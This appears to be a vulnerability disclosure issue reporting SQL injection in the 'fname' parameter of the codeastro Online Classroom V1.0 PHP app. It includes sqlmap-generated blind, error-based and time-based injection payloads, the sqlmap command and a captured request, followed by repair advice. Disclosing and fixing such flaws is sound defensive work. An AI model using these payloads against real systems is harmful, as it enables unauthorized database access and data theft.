New issue

codeastro Online Classroom V1.0 /OnlineClassroom/updatedetailsfromstudent.php?eno=146891650 SQL injection #17

Open

yihaofuweng opened last week

codeastro Online Classroom V1.0 /OnlineClassroom/updatedetailsfromstudent.php?eno=146891650 SQL injection

NAME OF AFFECTED PRODUCT(S)

- Online Classroom

Vendor Homepage

- https://codeastro.com/online-classroom-in-php-with-source-code/

AFFECTED AND/OR FIXED VERSION(S)

submitter

- snife

Vulnerable File

- /OnlineClassroom/updatedetailsfromstudent.php?eno=146891650

VERSION(S)

- V1.0

Software Link

- https://codeastro.com/online-classroom-in-php-with-source-code/

PROBLEM TYPE

Vulnerability Type

- SQL injection

Root Cause

- A SQL injection vulnerability was found in the '//OnlineClassroom/updatedetailsfromstudent.php?eno=146891650‘ file of the 'Online Classroom' project. The reason for this issue is that attackers inject malicious code from the parameter 'fname' and use it directly in SQL queries without the need for appropriate cleaning or validation. This allows attackers to forge input values, thereby manipulating SQL queries and performing unauthorized operations.

Impact

- Attackers can exploit this SQL injection vulnerability to achieve unauthorized database access, sensitive data leakage, data tampering, comprehensive system control, and even service interruption, posing a serious threat to system security and business continuity.

DESCRIPTION

- During the security review of "Online Classroom",I discovered a critical SQL injection vulnerability in the "/OnlineClassroom/updatedetailsfromstudent.php?eno=146891650" file. This vulnerability stems from insufficient user input validation of the 'fname‘ parameter, allowing attackers to inject malicious SQL queries. Therefore, attackers can gain unauthorized access to databases, modify or delete data, and access sensitive information. Immediate remedial measures are needed to ensure system security and protect data integrity.

Vulnerability details and POC

Vulnerability lonameion:

- 'fname' parameter

Payload:

```
---
Parameter: fname (POST)
    Type: boolean-based blind
    Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: fname=Robert' RLIKE (SELECT (CASE WHEN (2059=2059) THEN 0x526f62657274 ELSE 0x28

    Type: error-based
    Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: fname=Robert' OR (SELECT 5659 FROM(SELECT COUNT(*),CONCAT(0x7162707871,(SELECT (

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: fname=Robert' AND (SELECT 7342 FROM (SELECT(SLEEP(5)))ZYxO)-- cIcC&lname=Huffman



---


---
```

The following are screenshots of some specific information obtained from testing and running with the sqlmap tool:

```
sqlmap -r 1.txt --batch

POST /OnlineClassroom/updatedetailsfromstudent.php?eno=146891650 HTTP/1.1
Host: 192.168.60.130
Content-Length: 182
Cache-Control: max-age=0
Origin: http://192.168.60.130
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apr
Referer: http://192.168.60.130/OnlineClassroom/updatedetailsfromstudent.php?eno=146891650
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: PHPSESSID=99qv6i8ev8vsg67iu89kbm6i22
Connection: keep-alive
```

```
fname=Robert&lname=Huffman&faname=Jason+Huffman&addrs=220++Cardinal+Lane&gender=Male&course=E
```

Suggested repair

1. **Use prepared statements and parameter binding:**
   Preparing statements can prevent SQL injection as they separate SQL code from user input data. When using prepare statements, the value entered by the user is treated as pure data and will not be interpreted as SQL code.

2. **Input validation and filtering:**
   Strictly validate and filter user input data to ensure it conforms to the expected format.

3. **Minimize database user permissions:**
   Ensure that the account used to connect to the database has the minimum necessary permissions. Avoid using accounts with advanced permissions (such as' root 'or' admin ') for daily operations.

4. **Regular security audits:**
   Regularly conduct code and system security audits to promptly identify and fix potential security vulnerabilities.

Metadata

Assignees

No one assigned

Labels

No labels

Projects

No projects

Milestone

No milestone

Relationships

None yet

Development

Code with agent mode

No branches or pull requests

Participants